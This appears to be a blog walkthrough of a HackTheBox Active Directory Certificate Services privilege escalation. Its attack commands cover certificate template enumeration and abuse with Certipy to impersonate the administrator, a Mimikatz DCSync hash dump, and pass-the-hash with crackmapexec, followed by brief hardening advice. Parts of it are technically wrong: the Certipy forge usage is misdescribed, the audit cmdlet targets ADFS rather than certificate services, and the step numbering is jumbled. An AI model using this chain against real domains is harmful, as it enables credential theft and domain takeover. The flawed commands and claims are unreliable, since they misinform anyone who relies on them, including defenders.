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Introduction:
Privilege escalation remains a critical challenge in cybersecurity, especially in Active Directory (AD) environments. In this article, we dissect a real-world HackTheBox (HTB) scenario where Certipy—a tool for manipulating AD certificate services—played a pivotal role in achieving root access. Whether you’re a red teamer or a defensive analyst, understanding these techniques is essential.
Learning Objectives:
- Learn how Certipy exploits misconfigured certificate templates in AD.
- Understand manual enumeration techniques for Windows machines without credentials.
- Master privilege escalation paths involving AD CS (Active Directory Certificate Services).
1. Initial Enumeration Without Credentials
Command:
nmap -sV -sC -p- 10.10.10.10
What It Does:
This Nmap scan identifies open ports, services, and versions running on the target. The `-sC` flag runs default scripts, while `-p-` scans all 65,535 ports.
Step-by-Step:
1. Run the command against the target IP.
- Analyze results for anomalies (e.g., SMB, RPC, or LDAP services).
- Use tools like `smbclient` or `ldapsearch` to probe further:
smbclient -L //10.10.10.10 -N
2. Exploiting Misconfigured Certificate Templates with Certipy
Command:
certipy find -u '[email protected]' -p 'Password123!' -dc-ip 10.10.10.10
What It Does:
Certipy queries AD CS for vulnerable certificate templates that allow enrollment by low-privilege users.
Step-by-Step:
1. Install Certipy:
pip install certipy-ad
2. Run the command to list templates. Look for `ENROLLEE_SUPPLIES_SUBJECT` or weak SAN (Subject Alternative Name) settings.
3. Request a certificate for escalation:
certipy req -u '[email protected]' -p 'Password123!' -target 10.10.10.10 -template 'VulnerableTemplate'
3. Forging Certificates for Privilege Escalation
Command:
certipy forge -cert vulnerable.pem -key vulnerable.key -upn '[email protected]'
What It Does:
Modifies a certificate to impersonate a high-privilege account (e.g., administrator).
Step-by-Step:
- Use the certificate and key from the previous step.
2. Forge a new certificate with elevated privileges.
3. Authenticate via PKINIT (Kerberos):
certipy auth -pfx forged.pfx -dc-ip 10.10.10.10
4. Dumping Hashes with Mimikatz
Command (Windows):
.\mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator"
What It Does:
Extracts NTLM hashes or Kerberos keys from AD using DCSync.
Step-by-Step:
1. Upload Mimikatz to the compromised machine.
- Execute the command to retrieve the administrator hash.
3. Pass-the-hash for lateral movement:
crackmapexec smb 10.10.10.10 -u administrator -H <NTLM_HASH>
5. Mitigation: Hardening AD CS
Best Practices:
1. Restrict certificate template permissions.
2. Disable `ENROLLEE_SUPPLIES_SUBJECT` in templates.
3. Enable auditing for certificate requests:
Set-AdfsAuditLevel -Level "Verbose"
What Undercode Say:
- Key Takeaway 1: AD CS is a goldmine for attackers if misconfigured. Regular audits are non-negotiable.
- Key Takeaway 2: Certipy automates exploits that were previously manual, lowering the barrier for red teams.
Analysis:
The rise of AD CS exploits underscores the need for “assume breach” strategies. Defenders must monitor certificate enrollment logs and enforce least-privilege principles. Offensive tools like Certipy are evolving faster than defensive controls, making proactive hardening critical.
Prediction:
Expect AD CS exploits to dominate ransomware campaigns in 2024, as attackers pivot from traditional lateral movement methods to certificate-based persistence. Organizations lagging in PKI (Public Key Infrastructure) hygiene will face disproportionate risks.
References:
IT/Security Reporter URL:
Reported By: Oscar Naveda – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
